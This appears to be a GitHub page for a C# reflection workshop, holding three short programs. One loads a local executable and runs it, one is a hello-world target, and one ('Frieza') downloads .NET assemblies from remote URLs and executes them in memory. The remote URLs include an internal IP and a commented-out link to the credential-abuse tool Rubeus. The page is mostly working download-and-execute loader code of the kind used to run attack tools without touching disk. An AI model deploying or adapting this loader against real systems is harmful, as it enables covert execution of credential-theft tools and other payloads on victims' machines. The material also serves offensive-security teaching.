jfmaes / csharpreflectionworkshop Goto Github PK

using System;
using System.Reflection;


namespace Raditz
{
    class Program
    {
        static void Reflect(string FilePath)
        {
            Assembly dotNetProgram = Assembly.LoadFile(FilePath);
            Object[] parameters = new String[] { null };
            dotNetProgram.EntryPoint.Invoke(null, parameters);
        }

        static void Main(string[] args)
        {
            Reflect(@"C:\Users\<username>\source\repos\Reflection World\Reflection World\bin\Release\net5.0\Reflection World.exe");
        }
    }
}

using System;
using System.Reflection;

namespace Reflection_World
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Hello from Reflection World!");
            Console.ReadKey();
        }
    }
}

using System;
using System.Reflection;
using System.Net;
using System.Threading;

namespace Frieza
{
    class Program
    {
        static void WebReflect(string url, int retrycount, int timeoutTimer)
        {
            // Dealing with HTTPS requests
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            // Creating a Web Client to make web requests
            WebClient client = new WebClient();
            // Downloading byte array from the provided link via client web request.
            byte[] programBytes = null;

            while (retrycount >= 0 && programBytes == null)
            {
                try
                {
                    programBytes = client.DownloadData(url);
                }
                /* Unable to download assembly from url or if url server address is down, WebException is raised
                link: https://docs.microsoft.com/en-us/dotnet/api/system.net.webexception.response?view=net-5.0
                */
                catch (WebException ex)
                {
                    Console.WriteLine("[-] Assembly not found yet. Sleeping for {0} seconds and retrying another {1} time...", timeoutTimer, retrycount);
                    retrycount--;
                    Thread.Sleep(timeoutTimer * 1000);
                }
            }
            // If for some reason, assembly doesn't exist in the url, loader gracefully exits
            if (programBytes == null)
            {
                Console.WriteLine("[-] Assembly was not found, exiting now...");
                Environment.Exit(-1);
            }
            // Loading the assembly from byte array that was downloaded.
            Assembly dotNetProgram = Assembly.Load(programBytes);
            // Creates a new Object Array containing a new (empty) String Array
            Object[] parameters = new String[] { null };
            // Executes the entry point of the loaded assembly
            dotNetProgram.EntryPoint.Invoke(null, parameters);
        }

        // Performing Double Reflection
        // 1. http://10.0.2.55/exe/mscorlib.exe
        // 2. https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe

        static void Main(string[] args)
        {
            try
            {
                Console.WriteLine("Hit a key to start");
                Console.ReadKey();
                // Download Link
                //WebReflect("http://10.0.2.55/exe/mscorlib.exe", 0, 0);
                WebReflect("https://github.com/reveng007/Executable_Files/raw/main/binaries/mscorlib.exe", 0, 0);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine("could not load mscorlib, exitting gracefully.");
                Environment.Exit(-1);
            }
            try
            {   // Download link
                //WebReflect("https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.5_Any/Rubeus.exe", 3, 5);

                WebReflect("https://github.com/reveng007/Executable_Files/raw/main/binaries/messagebox.exe", 3, 5);
                //WebReflect("http://10.0.2.55/exe/messagebox.exe", 3, 5);

                Console.ReadKey();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.ReadKey();
            }
        }
    }
}